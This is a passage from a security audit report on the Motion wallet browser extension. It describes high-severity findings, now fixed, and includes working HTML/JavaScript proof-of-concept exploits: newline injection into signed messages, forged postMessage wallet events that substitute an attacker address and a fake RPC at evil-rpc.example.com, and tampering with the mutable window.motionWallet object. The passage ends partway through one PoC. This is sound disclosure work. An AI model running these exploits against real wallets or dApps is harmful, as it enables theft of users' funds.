SHERLOCK

Security Review For Move Industries

Collaborative Audit Prepared For: **Move Industries**
Lead Security Expert(s): **defsec**
Date Audited: **March 24 - April 1, 2026**

Introduction

Motion wallet is a self-custodial, Movement-native browser extension built from the ground up for the Movement network. It provides a cleanear and more reliable experience on Movement as apposed to Wallets with Multichain capabilties.

Scope

Repository: MoveIndustries/motion-wallet

Audited Commit: 6c4cc0301742114f55cb1e711646658e061cdd24

Final Commit: 91925b458274718c8a96a9904b8f54defaf5ebd0

Files:

- src/background/connection-manager.ts
- src/background/index.ts
- src/background/message-handlers.ts
- src/background/rate-limiter.ts
- src/background/transaction-manager.ts
- src/content/inject.ts
- src/content/provider-bridge.ts
- src/core/crypto/constants.ts
- src/core/crypto/keyring.ts
- src/core/crypto/vault.ts
- src/core/network/config.ts
- src/core/network/indexer.ts
- src/core/storage/secure-storage.ts
- src/core/types/index.ts
- src/core/types/token.ts
- src/core/types/transaction.ts
- src/core/types/wallet.ts
- src/injected/wallet-provider.ts
- src/lib/messaging.ts
- src/onboarding/App.tsx
- src/onboarding/components/BackButton.tsx

- src/onboarding/components/ImportOptionCard.tsx
- src/onboarding/components/MnemonicGrid.tsx
- src/onboarding/components/OnboardingCard.tsx
- src/onboarding/components/OnboardingLayout.tsx
- src/onboarding/components/PasswordForm.tsx
- src/onboarding/components/ProgressDots.tsx
- src/onboarding/context/OnboardingContext.tsx
- src/onboarding/index.css
- src/onboarding/index.html
- src/onboarding/main.tsx
- src/onboarding/pages/CreatePasswordPage.tsx
- src/onboarding/pages/ImportKeyPage.tsx
- src/onboarding/pages/ImportOptionsPage.tsx
- src/onboarding/pages/ImportPasswordPage.tsx
- src/onboarding/pages/ImportPhrasePage.tsx
- src/onboarding/pages/RecoveryPhrasePage.tsx
- src/onboarding/pages/SuccessPage.tsx
- src/onboarding/pages/VerifyPhrasePage.tsx
- src/onboarding/pages/WelcomePage.tsx
- src/popup/App.tsx
- src/popup/components/actions/ActionsGrid.tsx
- src/popup/components/common/Button.tsx
- src/popup/components/common/ErrorBoundary.tsx
- src/popup/components/common/GlassCard.tsx
- src/popup/components/common/Input.tsx
- src/popup/components/common/Loading.tsx
- src/popup/components/common/Modal.tsx
- src/popup/components/common/Toast.tsx
- src/popup/components/layout/BottomNav.tsx
- src/popup/components/layout/Header.tsx
- src/popup/components/layout/NetworkPill.tsx

- src/popup/components/layout/PageHeader.tsx
- src/popup/components/layout/WalletSwitcher.tsx
- src/popup/components/token/TokenIcon.tsx
- src/popup/components/token/TokenItem.tsx
- src/popup/components/token/TokenList.tsx
- src/popup/components/token/TokenSelectorModal.tsx
- src/popup/hooks/useBalances.ts
- src/popup/hooks/useTokens.ts
- src/popup/hooks/useTransactions.ts
- src/popup/hooks/useWallet.ts
- src/popup/index.css
- src/popup/index.html
- src/popup/main.tsx
- src/popup/pages/Activity.tsx
- src/popup/pages/Bridge.tsx
- src/popup/pages/ConnectApproval.tsx
- src/popup/pages/CreateWallet.tsx
- src/popup/pages/DApps.tsx
- src/popup/pages/Home.tsx
- src/popup/pages/ImportWallet.tsx
- src/popup/pages/Receive.tsx
- src/popup/pages/Send.tsx
- src/popup/pages/Settings.tsx
- src/popup/pages/Swap.tsx
- src/popup/pages/TransactionApproval.tsx
- src/popup/pages/Unlock.tsx
- src/popup/pages/Welcome.tsx
- src/services/dapp/connection.ts
- src/services/wallet/account.ts
- src/services/wallet/balance.ts
- src/services/wallet/signer.ts

- src/services/wallet/transaction.ts
- src/store/connections.ts
- src/store/ui.ts
- src/store/wallet.ts
- src/vite-env.d.ts

Final Commit Hash

91925b458274718c8a96a9904b8f54defaf5ebd0

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
6	24	75

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue H-1: Sign message injection via unsanitized new-lines in message/nonce [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/92

Summary

The structured sign message format does not sanitize the message or nonce fields for newline characters, allowing a malicious dApp to inject additional structured fields into the content that gets signed.

Vulnerability Detail

When the wallet constructs a structured message for signing, it builds a multi-line string by concatenating labeled fields separated by newline characters. The fields include a protocol identifier, the signer's address, the requesting application's origin, the chain ID, the message body, and a nonce. These parts are joined with newline delimiters to form the final string that is cryptographically signed.

Neither the message nor the nonce field is checked for embedded newline characters before inclusion. If a dApp provides a message containing newlines followed by fake field labels, those injected lines become part of the signed content. For example, a message like ”buy NFT\nnonce: attacker_nonce\nmessage: transfer 1000 MOVE” would produce a signed string with duplicate and conflicting field entries.

PoC

```
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>PoC: Sign Message Newline Injection</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
    button { background: #222; color: #0f0; border: 1px solid #0f0; padding: 10px
    ↪  20px; cursor: pointer; margin: 5px; font-family: monospace; }
    button:hover { background: #0f0; color: #000; }
    .log { background: #000; border: 1px solid #333; padding: 10px; margin-top:
    ↪  10px; white-space: pre-wrap; max-height: 500px; overflow-y: auto; }
    h1 { color: #f00; }
    .section { margin: 20px 0; padding: 15px; border: 1px solid #333; }
    .comparison { display: flex; gap: 20px; margin-top: 10px; }
    .comparison > div { flex: 1; padding: 10px; border: 1px solid #333; }
    .good { border-color: #0f0 !important; }
```

```
    .bad { border-color: #f00 !important; }
    pre { white-space: pre-wrap; font-size: 12px; }
  </style>
</head>
<body>
  <h1>PoC: Sign Message Newline Injection (#92)</h1>
  <p>The wallet builds a structured message by joining fields with <code>\n</code>.
  Neither <code>message</code> nor <code>nonce</code> is sanitized for embedded
  ↪ newlines.
  A malicious dApp can inject fake fields into the signed content.</p>

  <div class="section">
    <h3>Step 1: Connect to wallet</h3>
    <button onclick="connectWallet()">Connect Motion Wallet</button>
  </div>

  <div class="section">
    <h3>Step 2: Sign a normal message (baseline)</h3>
    <button onclick="signNormal()">Sign: "Hello World" (normal)</button>
  </div>

  <div class="section">
    <h3>Step 3: Sign an injected message (attack)</h3>
    <button onclick="signInjectedMessage()">Sign: message with injected nonce +
    ↪ fake message</button>
    <button onclick="signInjectedNonce()">Sign: nonce with injected fields</button>
  </div>

  <div class="section">
    <h3>Step 4: Compare what gets signed vs what user sees</h3>
    <p>The approval popup shows the raw <code>message</code> field. But the
    ↪ <code>fullMessage</code> that
    actually gets signed contains injected fields the user never reviewed.</p>
  </div>

  <div class="log" id="log"></div>

  <script>
    function log(msg) {
      const el = document.getElementById('log');
      el.textContent += '[' + new Date().toISOString().slice(11,19) + '] ' + msg +
      ↪ '\n';
      el.scrollTop = el.scrollHeight;
    }

    async function connectWallet() {
      if (!window.motionWallet) {
        log('ERROR: Motion Wallet not detected. Serve via HTTP (python3 -m
        ↪ http.server 8080)');
        return;
```

```
  }
  log('Connecting...');
  try {
    const result = await
    ↪  window.motionWallet.features['aptos:connect'].connect();
    if (result.status === 'Approved') {
      log('Connected: ' + result.args.address);
    } else {
      log('Rejected');
    }
  } catch (e) {
    log('Error: ' + e.message);
  }
}

async function signNormal() {
  log('');
  log('=== NORMAL SIGN MESSAGE ===');
  try {
    const result = await
    ↪  window.motionWallet.features['aptos:signMessage'].signMessage({
      message: 'Hello World',
      nonce: 'abc123',
      address: true,
      application: true,
      chainId: true,
    });
    if (result.status === 'Approved') {
      log('Signed! fullMessage:');
      log(result.args.fullMessage);
      log('');
      log('signature: ' + result.args.signature);
      log('');
      log('The fullMessage has clean, separate fields. No injection.');
    } else {
      log('Rejected by user');
    }
  } catch (e) {
    log('Error: ' + e.message);
  }
}

async function signInjectedMessage() {
  log('');
  log('=== ATTACK: NEWLINE INJECTION IN MESSAGE ===');
  log('');

  // The injected message contains newlines that create fake fields
  const maliciousMessage = 'Buy NFT #1234\nnonce:
  ↪  attacker_controlled_nonce\nmessage: transfer 1000 MOVE to 0xATTACKER';
```

```
log('What the user sees in the approval popup:');
log('  Message field: "' + maliciousMessage.replace(/\n/g, '\\n') + '"');
log('  (popup renders this in a single text block)');
log('');
log('What actually gets signed (fullMessage with parts.join("\\n")):');
log('  APTOS');
log('  address: <user_address>');
log('  application: ' + window.location.origin);
log('  chainId: 126');
log('  message: Buy NFT #1234');
log('  nonce: attacker_controlled_nonce     <-- INJECTED');
log('  message: transfer 1000 MOVE to 0xATTACKER  <-- INJECTED');
log('  nonce: real_nonce_here');
log('');
log('A verifier parsing top-to-bottom sees the INJECTED nonce and message.');
log('');

try {
  const result = await
  ↪  window.motionWallet.features['aptos:signMessage'].signMessage({
    message: maliciousMessage,
    nonce: 'real_nonce_12345',
    address: true,
    application: true,
    chainId: true,
  });
  if (result.status === 'Approved') {
    log('USER APPROVED. Signed fullMessage:');
    log('---BEGIN SIGNED CONTENT---');
    log(result.args.fullMessage);
    log('---END SIGNED CONTENT---');
    log('');
    log('signature: ' + result.args.signature);
    log('');

    // Highlight the injection
    const lines = result.args.fullMessage.split('\n');
    const nonceLines = lines.filter(l => l.startsWith('nonce:'));
    const msgLines = lines.filter(l => l.startsWith('message:'));
    if (nonceLines.length > 1) {
      log('*** INJECTION CONFIRMED: ' + nonceLines.length + ' "nonce:" fields
      ↪  in signed content ***');
    }
    if (msgLines.length > 1) {
      log('*** INJECTION CONFIRMED: ' + msgLines.length + ' "message:" fields
      ↪  in signed content ***');
    }
  } else {
    log('Rejected by user');
```

```
    }
  } catch (e) {
    log('Error: ' + e.message);
  }
}

async function signInjectedNonce() {
  log('');
  log('=== ATTACK: NEWLINE INJECTION IN NONCE ===');

  const maliciousNonce = 'legit_nonce\nmessage: send all tokens to
  ↪  0xATTACKER\nchainId: 1';

  log('Nonce field contains: "' + maliciousNonce.replace(/\n/g, '\\n') + '"');
  log('');

  try {
    const result = await
    ↪  window.motionWallet.features['aptos:signMessage'].signMessage({
      message: 'Verify account ownership',
      nonce: maliciousNonce,
      address: true,
      application: true,
      chainId: true,
    });
    if (result.status === 'Approved') {
      log('USER APPROVED. Signed fullMessage:');
      log('---BEGIN SIGNED CONTENT---');
      log(result.args.fullMessage);
      log('---END SIGNED CONTENT---');
      log('');

      const lines = result.args.fullMessage.split('\n');
      const chainIdLines = lines.filter(l => l.startsWith('chainId:'));
      if (chainIdLines.length > 1) {
        log('*** INJECTION CONFIRMED: ' + chainIdLines.length + ' "chainId:"
        ↪  fields -- chain ID spoofed ***');
      }
      const msgLines = lines.filter(l => l.startsWith('message:'));
      if (msgLines.length > 1) {
        log('*** INJECTION CONFIRMED: ' + msgLines.length + ' "message:" fields
        ↪  ***');
      }
    } else {
      log('Rejected by user');
    }
  } catch (e) {
    log('Error: ' + e.message);
  }
}
```

```
    log('PoC loaded. Motion Wallet detected: ' + !!window.motionWallet);
    log('');
    log('ATTACK FLOW:');
    log('1. Connect to wallet');
    log('2. Sign the injected message -- user sees "Buy NFT #1234" in popup');
    log('3. The signed fullMessage contains INJECTED fields the user never saw');
    log('4. A verifier parsing the structured message extracts attacker data');
    log('');
  </script>
</body>
</html>
```

Impact

Signature content manipulation and potential replay attacks.

Code Snippet

`src/background/transaction-manager.ts` **lines 264–271:**

```
const parts: string[] = ['APTOS']
if (request.address) parts.push(`address: ${address}`)
if (request.application) parts.push(`application: ${request.origin}`)
if (request.chainId) parts.push(`chainId: ${chainId}`)
parts.push(`message: ${request.message}`)    // No newline sanitization
parts.push(`nonce: ${request.nonce}`)          // No newline sanitization
const fullMessage = parts.join('\n')
```

Tool Used

Manual Review

Recommendation

Reject messages containing newline characters:

```
if (/[\r\n]/.test(request.message) || /[\r\n]/.test(request.nonce)) {
  throw new Error('Message and nonce must not contain newlines')
}
```

Discussion

Rahat-ch

https://github.com/MoveIndustries/motion-wallet/pull/30

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/30/changes.

Issue H-2: Page script can forge `MOTION_WALLET_EVENT` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/105

Summary

Any script running on the same page can post a forged wallet event via `window.postMessage`, causing the dApp to believe the connected account or network has changed. This can redirect funds to an attacker-controlled address.

Vulnerability Detail

The injected wallet provider runs in the MAIN world, sharing the page's JavaScript context. It listens for wallet event messages on the window object. The only filter is a source check that always passes for same-page scripts, meaning any co-resident script (injected ad, compromised CDN library, XSS payload) can post a message that the provider processes as genuine.

A malicious script can post a forged `accountChange` event containing the attacker's address. The provider updates its internal connected account state and notifies the dApp via the registered AIP-62 callback. The dApp now believes the user's wallet address is the attacker's address and will direct all subsequent transactions to that address.

The content script correctly forwards only legitimate events from the background service worker, but nothing prevents a page script from directly posting the same message type to the window object. There is no shared secret, nonce, or MessageChannel to distinguish genuine events from forged ones.

Proof Of Concept

```
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>PoC</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
    button { background: #222; color: #0f0; border: 1px solid #0f0; padding: 10px
    ↪  20px; cursor: pointer; margin: 5px; font-family: monospace; }
    button:hover { background: #0f0; color: #000; }
    .log { background: #000; border: 1px solid #333; padding: 10px; margin-top:
    ↪  10px; white-space: pre-wrap; max-height: 500px; overflow-y: auto; }
    h1 { color: #f00; }
```

```
    .section { margin: 20px 0; padding: 15px; border: 1px solid #333; }
    .success { color: #0f0; font-weight: bold; }
    .fail { color: #f00; font-weight: bold; }
  </style>
</head>
<body>
  <h1>[H-10] Forge MOTION_WALLET_EVENT - Fake Account/Network Change</h1>
  <p>This PoC forges wallet events via window.postMessage. The wallet provider
  ↪  accepts them because <code>event.source === window</code> always passes for
  ↪  same-page scripts.</p>
  <p><strong>Key:</strong> A dApp must register <code>onAccountChange</code> for
  ↪  the forged event to update <code>connectedAccount</code>. This PoC simulates
  ↪  what a real dApp does.</p>

  <div class="section">
    <h3>Step 1: Connect + register event listeners (like a real dApp)</h3>
    <button onclick="connectAndRegister()">Connect & Register
    ↪  onAccountChange</button>
    <button onclick="checkState()">Check Current State</button>
  </div>

  <div class="section">
    <h3>Step 2: Forge accountChange (attacker replaces address)</h3>
    <button onclick="forgeAccountChange()">Forge accountChange → Attacker
    ↪  Address</button>
  </div>

  <div class="section">
    <h3>Step 3: Verify corruption</h3>
    <button onclick="checkState()">Check State (should show attacker
    ↪  address)</button>
    <button onclick="callAccountMethod()">Call account() method</button>
  </div>

  <div class="section">
    <h3>Step 4: Forge networkChange</h3>
    <button onclick="connectAndRegisterNetwork()">Register onNetworkChange</button>
    <button onclick="forgeNetworkChange()">Forge networkChange → Evil
    ↪  Network</button>
    <button onclick="checkChains()">Check motionWallet.chains</button>
  </div>

  <div class="log" id="log"></div>

  <script>
    const ATTACKER_ADDRESS =
    ↪  '0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddead';
    const ATTACKER_PUBKEY  =
    ↪  '0xbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeef';
    let dAppReceivedAccount = null;
```

```
let dAppReceivedNetwork = null;

function log(msg) {
  const el = document.getElementById('log');
  el.textContent += '[' + new Date().toISOString().slice(11,19) + '] ' + msg +
  ↪  '\n';
  el.scrollTop = el.scrollHeight;
}

async function connectAndRegister() {
  if (!window.motionWallet) {
    log('ERROR: Motion Wallet not detected. Serve this via HTTP (python3 -m
    ↪  http.server 8080).');
    return;
  }

  log('Connecting to Motion Wallet...');
  try {
    const result = await
    ↪  window.motionWallet.features['aptos:connect'].connect();
    if (result.status !== 'Approved') { log('Connection rejected'); return; }
    log('Connected! Real address: ' + result.args.address);

    // Register onAccountChange - this is what a real dApp does.
    // The callback wrapper inside the provider updates connectedAccount.
    log('Registering onAccountChange callback (like a real dApp)...');
    window.motionWallet.features['aptos:onAccountChange'].onAccountChange((acco
    ↪  unt) => {
      dAppReceivedAccount = account;
      log('[dApp CALLBACK FIRED] onAccountChange → ' + JSON.stringify(account));
      if (account && account.address === ATTACKER_ADDRESS) {
        log('*** ATTACK SUCCESSFUL: dApp callback received attacker address
        ↪  ***');
      }
    });
    log('Listener registered. Now forging events will update
    ↪  connectedAccount.');
  } catch (e) {
    log('Error: ' + e.message);
  }
}

async function connectAndRegisterNetwork() {
  if (!window.motionWallet) { log('Wallet not detected'); return; }
  log('Registering onNetworkChange callback...');
  window.motionWallet.features['aptos:onNetworkChange'].onNetworkChange((networ
  ↪  k) => {
    dAppReceivedNetwork = network;
    log('[dApp CALLBACK FIRED] onNetworkChange → ' + JSON.stringify(network));
    if (network && network.name === 'Attacker Fake Testnet') {
```

```
      log('*** ATTACK SUCCESSFUL: dApp callback received fake network ***');
    }
  });
  log('Network listener registered.');
}

function forgeAccountChange() {
  log('');
  log('=== FORGING accountChange EVENT ===');
  log('Posting MOTION_WALLET_EVENT with attacker address...');

  window.postMessage({
    type: 'MOTION_WALLET_EVENT',
    event: 'accountChange',
    data: {
      address: ATTACKER_ADDRESS,
      publicKey: ATTACKER_PUBKEY
    }
  }, '*');

  log('Event posted. If onAccountChange was registered, the provider will:');
  log('  1. Set connectedAccount = {address: "0xdead..."}');
  log('  2. Set motionWallet.accounts = [attacker]');
  log('  3. Call the dApp callback with attacker address');
  log('Check state to verify.');
}

function forgeNetworkChange() {
  log('');
  log('=== FORGING networkChange EVENT ===');
  window.postMessage({
    type: 'MOTION_WALLET_EVENT',
    event: 'networkChange',
    data: {
      name: 'Attacker Fake Testnet',
      chainId: '999',
      url: 'https://evil-rpc.example.com/v1'
    }
  }, '*');
  log('Forged networkChange sent.');
}

async function checkState() {
  if (!window.motionWallet) { log('Wallet not detected'); return; }
  log('');
  log('--- STATE CHECK ---');
  log('motionWallet.accounts: ' + JSON.stringify(window.motionWallet.accounts));
  log('Last dApp callback account: ' + JSON.stringify(dAppReceivedAccount));

  const acctAddr = window.motionWallet.accounts?.[0]?.address;
```

```
      if (acctAddr === ATTACKER_ADDRESS) {
        log('*** CONFIRMED: motionWallet.accounts contains attacker address ***');
      } else {
        log('accounts shows: ' + (acctAddr || '(empty)'));
      }
    }

    async function callAccountMethod() {
      if (!window.motionWallet) { log('Wallet not detected'); return; }
      try {
        const acct = await window.motionWallet.features['aptos:account'].account();
        log('account() returned: ' + JSON.stringify(acct));
        if (acct.address === ATTACKER_ADDRESS) {
          log('*** CONFIRMED: account() returns attacker address ***');
        }
      } catch (e) {
        log('account() error: ' + e.message);
      }
    }

    function checkChains() {
      if (!window.motionWallet) { log('Wallet not detected'); return; }
      log('motionWallet.chains: ' + JSON.stringify(window.motionWallet.chains));
      log('Last dApp callback network: ' + JSON.stringify(dAppReceivedNetwork));
    }

    log('PoC loaded. Motion Wallet detected: ' + !!window.motionWallet);
    log('');
    log('HOW THIS WORKS:');
    log('1. Connect + register onAccountChange (simulates a real dApp)');
    log('2. Forge an accountChange event via window.postMessage');
    log('3. The provider processes it - updates connectedAccount & fires dApp
    ↪  callback');
    log('4. The dApp now thinks the user address is the attacker address');
    log('');
  </script>
</body>
</html>
```

Impact

A co-resident malicious script can manipulate the dApp's view of the connected wallet address, causing the dApp to display and use an attacker-controlled address. The user may not notice the address change, especially on dApps that do not prominently display the full address.

Code Snippet

`src/injected/wallet-provider.ts` **lines 97–103:**

```
window.addEventListener('message', (event) => {
  if (event.source !== window) return  // Always passes for same-page scripts
  if (event.data?.type === 'MOTION_WALLET_EVENT') {
    const { event: eventName, data } = event.data
    emitEvent(eventName, data)  // Forged data propagated to dApp callbacks
  }
})
```

Lines 285–289 : connectedAccount updated from forged event:

```
addEventListener('accountChange', (data) => {
  const account = data as AptosAccountInfo | null
  connectedAccount = account           // Attacker's address stored
  motionWallet.accounts = account ? [account] : []
  callback(account)                     // dApp notified with forged address
})
```

Tool Used

Manual Review

Recommendation

Remove the `MOTION_WALLET_EVENT` listener entirely. Instead, have the wallet provider poll for account and network state changes through the existing `sendRequest` RPC mechanism (which routes through the content script to the background, a path page scripts cannot forge). This eliminates the forgery surface completely at the cost of slightly delayed change notifications.

If push-based event delivery is required for responsiveness, keep the listener but treat incoming events as untrusted hints only. On every `accountChange` or `networkChange` event, the provider should call `sendRequest('getAccount')` or `sendRequest('getNetwork')` to verify the data against the background's authoritative state before updating `connectedAccount` or `currentNetwork` and notifying the dApp. A forged event would trigger a verification round-trip that returns the real state, so the forgery is silently rejected.

Discussion

Rahat-ch

addressed here https://github.com/MoveIndustries/motion-wallet/pull/29

defsec

Fix is confirmed with https://github.com/MoveIndustries/motion-wallet/pull/29.

Issue H-3: Bridge quote always uses signer index 0 [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/126

Summary

The bridge quote function hardcodes `getSigner(0)` regardless of which account the user has active. If the user has multiple accounts and the active one is not index 0, the quote is fetched against the wrong account's context.

Vulnerability Detail

When fetching a bridge quote, the function always retrieves signer index 0 regardless of which account the user selected in the UI. The bridge page passes `activeAccountIndex` for execution, but the quote phase uses a hardcoded signer. If the user's active account is index 1 or higher, the quote is generated for account 0's balance and state, but the actual bridge execution uses the correct account index.

This can cause the quote to be inaccurate (wrong balance checks, wrong fee calculation) and potentially cause the bridge transaction to fail if account 0 has insufficient balance for the quoted fee.

Impact

Bridge quotes are calculated against the wrong account when the user has multiple accounts. This can lead to incorrect fee quotes and failed bridge transactions.

Code Snippet

`src/services/bridge/layerzero.ts` line 168:

```
const signer = getSigner(0)  // Always index 0, ignores active account
if (signer instanceof WdkSigner) {
  const result = await quoteBridgeViaWdk(signer, { /* ... */ })
  // ...
}
```

Tool Used

Manual Review

Recommendation

Pass the account index from the UI through to the quote function:

```
export async function quoteBridge(network: string, params: BridgeParams,
↪  accountIndex = 0): Promise<BridgeQuote> {
  const signer = getSigner(accountIndex)
  // ...
}
```

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/32

defsec

Fixed with https://github.com/MoveIndustries/motion-wallet/pull/32.

Issue H-4: Approval routes accessible when wallet is locked [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/135

Summary

The popup router lists `/connect` and `/approve-transaction` as "public routes" that bypass the locked-state redirect.

Vulnerability Detail

When the wallet is locked and the user navigates to any route, `App.tsx` checks if the route is in the `publicRoutes` array. If it is, the redirect to `/unlock` is skipped. Both `/connect` and `/approve-transaction` are in this array.

The intended flow is: background opens popup with `?connect=<origin>` as a URL search param, `App.tsx` reads it from `window.location.search`, detects the wallet is locked, and redirects to `/unlock`. After unlocking, the user is sent to the approval page.

However, direct hash navigation (e.g. `chrome-extension://<id>/src/popup/index.html#/connect?origin=https://trusted-bank.com`) bypasses the URL search param check entirely, the params are in the hash fragment, not in `window.location.search`. The `publicRoutes` exception then allows the route to render without unlock.

The `ConnectApproval` component reads the origin from React Router's `useSearchParams` (which reads from the hash), displays the hostname, and shows Approve/Cancel buttons. The `GET_PENDING_CONNECTION` check only verifies that *any* pending connection exists, it does not require the wallet to be unlocked.

Impact

Missing lock protection.

Code Snippet

`src/popup/App.tsx` **lines 140–147** – publicRoutes bypass:

```
const publicRoutes = ['/unlock', '/connect', '/approve-transaction']
const isPublicRoute = publicRoutes.includes(location.pathname)

if (!isInitialized) {
  openOnboardingTab()
```

```
} else if (isInitialized && isLocked && location.pathname !== '/unlock' &&
↪  !isPublicRoute) {
  navigate('/unlock')  // /connect and /approve-transaction skip this
}
```

Tool Used

Manual Review

Recommendation

When these routes are accessed while the wallet is locked, redirect to `/unlock` and store the intended destination. After successful unlock, navigate to the stored route.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/31

defsec

Fixed with https://github.com/MoveIndustries/motion-wallet/pull/31.

Issue H-5: `window.motionWallet` is a mutable global object [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/137

Summary

The `window.motionWallet` object is a plain writable JavaScript object. Any co-resident page script can replace its methods (connect, signAndSubmitTransaction, etc.) or overwrite its accounts array, intercepting or fabricating all wallet interactions.

Vulnerability Detail

The wallet provider assigns a plain object literal to `window.motionWallet` without calling `Object.freeze()`, `Object.seal()`, or using `Object.defineProperty()` with `writable: false`. A malicious script can directly overwrite any method or property.

A malicious script can replace `connect()` to return an attacker address without showing a popup, replace `signAndSubmitTransaction()` to modify transaction payloads before forwarding to the real signer, or overwrite `accounts` to poison the dApp's state.

```
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>PoC</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px;
    ↪  margin: 0; }
    .split { display: flex; gap: 20px; }
    .panel { flex: 1; border: 1px solid #333; padding: 15px; min-height: 500px; }
    .dapp-panel { border-color: #06c; }
    .attacker-panel { border-color: #f00; }
    h2 { margin-top: 0; }
    .dapp-panel h2 { color: #06c; }
    .attacker-panel h2 { color: #f00; }
    button { background: #222; color: #0f0; border: 1px solid #0f0; padding: 8px
    ↪  16px; cursor: pointer; margin: 3px; font-family: monospace; font-size:
    ↪  12px; }
    button:hover { background: #0f0; color: #000; }
    .atk-btn { border-color: #f00; color: #f00; }
    .atk-btn:hover { background: #f00; color: #000; }
    .wallet-display { background: #000; border: 1px solid #333; padding: 15px;
    ↪  margin: 10px 0; border-radius: 8px; }
    .address { font-size: 11px; word-break: break-all; padding: 5px; background:
    ↪  #0a0a0a; border: 1px solid #222; margin: 5px 0; }
```

```
    .address.poisoned { border-color: #f00; color: #f00; }
    .label { font-size: 11px; color: #888; margin-bottom: 3px; }
    .balance { font-size: 24px; font-weight: bold; margin: 10px 0; }
    .log { background: #000; border: 1px solid #333; padding: 8px; margin-top:
    ↪  10px; white-space: pre-wrap; max-height: 200px; overflow-y: auto;
    ↪  font-size: 11px; }
    h1 { color: #f00; font-size: 16px; margin-bottom: 15px; }
    .status { padding: 8px; margin: 5px 0; border-radius: 4px; font-size: 12px; }
    .status-safe { background: #001a00; border: 1px solid #0f0; }
    .status-compromised { background: #1a0000; border: 1px solid #f00; color: #f00;
    ↪  }
    .send-form { margin: 10px 0; }
    .send-form input { background: #222; color: #0f0; border: 1px solid #333;
    ↪  padding: 6px; font-family: monospace; width: 90%; margin: 3px 0; }
  </style>
</head>
<body>
  <h1>motionWallet Object Tampering - Interactive dApp Simulation</h1>

  <div class="split">
    <!-- LEFT: Simulated dApp -->
    <div class="panel dapp-panel">
      <h2>Simulated dApp (victim)</h2>
      <p style="font-size:11px; color:#888">This panel simulates what a real dApp
      ↪  sees from the wallet.</p>

      <button onclick="dappConnect()">Connect Wallet</button>
      <button onclick="dappRefreshAccount()">Refresh Account</button>

      <div class="wallet-display">
        <div class="label">Connected Address:</div>
        <div class="address" id="dapp-address">(not connected)</div>
        <div class="label">Public Key:</div>
        <div class="address" id="dapp-pubkey">(not connected)</div>
        <div class="balance" id="dapp-balance">--</div>
        <div class="label">Balance (simulated)</div>
      </div>

      <div id="dapp-status" class="status status-safe">Wallet status: Not
      ↪  connected</div>

      <div class="send-form">
        <div class="label">Simulate "Send Tokens" (dApp reads connected
        ↪  address):</div>
        <input id="send-to" placeholder="Recipient address" value="0x1234...">
        <input id="send-amount" placeholder="Amount" value="100">
        <button onclick="dappSend()">Send (simulated)</button>
      </div>

      <div class="log" id="dapp-log"></div>
```

```
  </div>

  <!-- RIGHT: Attacker controls -->
  <div class="panel attacker-panel">
    <h2>Attacker Controls</h2>
    <p style="font-size:11px; color:#888">A malicious co-resident script (ad,
    ↪  CDN, XSS) runs these silently.</p>

    <div style="margin: 10px 0">
      <div class="label">Object State:</div>
      <div id="freeze-status" class="status status-safe">Object.isFrozen:
      ↪  checking...</div>
    </div>

    <button class="atk-btn" onclick="attackReplaceConnect()">
      Attack 1: Replace connect() - returns attacker address, NO popup
    </button>

    <button class="atk-btn" onclick="attackReplaceAccounts()">
      Attack 2: Overwrite motionWallet.accounts directly
    </button>

    <button class="atk-btn" onclick="attackInterceptSign()">
      Attack 3: Intercept signAndSubmitTransaction - steal + modify payloads
    </button>

    <button class="atk-btn" onclick="attackReplaceAccount()">
      Attack 4: Replace account() - always returns attacker address
    </button>

    <button onclick="resetPage()">Reset (reload page)</button>

    <div style="margin-top: 15px">
      <div class="label">Attacker address that will be injected:</div>
      <div class="address" style="color: #f00; border-color: #f00;">0xdeaddeaddea
      ↪  ddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddead</div>
    </div>

    <div class="log" id="atk-log"></div>
  </div>
</div>

<script>
  const ATTACKER_ADDR =
  ↪  '0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddead';
  const ATTACKER_PK   =
  ↪  '0xbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeef';
  let dappConnectedAddr = null;
  let originalConnect = null;
  let originalAccount = null;
```

```
let originalSign = null;
let isCompromised = false;

function dlog(msg) {
  const el = document.getElementById('dapp-log');
  el.textContent += msg + '\n';
  el.scrollTop = el.scrollHeight;
}
function alog(msg) {
  const el = document.getElementById('atk-log');
  el.textContent += msg + '\n';
  el.scrollTop = el.scrollHeight;
}

function updateDappUI(addr, pk) {
  dappConnectedAddr = addr;
  const addrEl = document.getElementById('dapp-address');
  const pkEl = document.getElementById('dapp-pubkey');
  const statusEl = document.getElementById('dapp-status');

  addrEl.textContent = addr || '(not connected)';
  pkEl.textContent = pk || '(not connected)';

  if (addr === ATTACKER_ADDR) {
    addrEl.className = 'address poisoned';
    pkEl.className = 'address poisoned';
